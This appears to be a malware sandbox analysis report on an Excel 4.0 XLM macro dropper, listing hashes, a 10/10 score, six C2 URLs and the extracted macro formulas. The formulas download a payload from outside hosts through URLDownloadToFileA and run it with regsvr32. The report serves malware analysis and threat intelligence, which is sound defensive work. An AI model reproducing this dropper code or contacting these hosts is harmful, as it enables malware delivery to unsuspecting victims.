e05ae88fdae10ca621f0a49ce9278d1f677004358beae1450cea0cd7b442aae8

General

Target

e05ae88fdae10ca621f0a49ce9278d1f677004358beae1450cea0cd7b442aae8
Size

40KB
Sample

241120-2k27lavmfy
MD5

c0b0fa3a9fe1a94c0ca1f2ac1353d57d
SHA1

e52e0f919d08efc0fc3a076a887a2bbb6f46b2ca
SHA256

e05ae88fdae10ca621f0a49ce9278d1f677004358beae1450cea0cd7b442aae8
SHA512

4d3169ecfa3717c223324290739d3aea37ea6d729fc64af444ff6170aa85bac296b0b714a3d8c9dc255f76f33c7422deea55400bc6e5082b4cae58c093e3323c
SSDEEP

768:qXomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:2omZDzylND59V4jwmXc2CVPu

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://radiomedenine.com/kidfngb/h3a3D5WRS/

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://radiomedenine.com/kidfngb/h3a3D5WRS/

xlm40.dropper

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

xlm40.dropper

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

xlm40.dropper

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

xlm40.dropper

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

xlm40.dropper

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/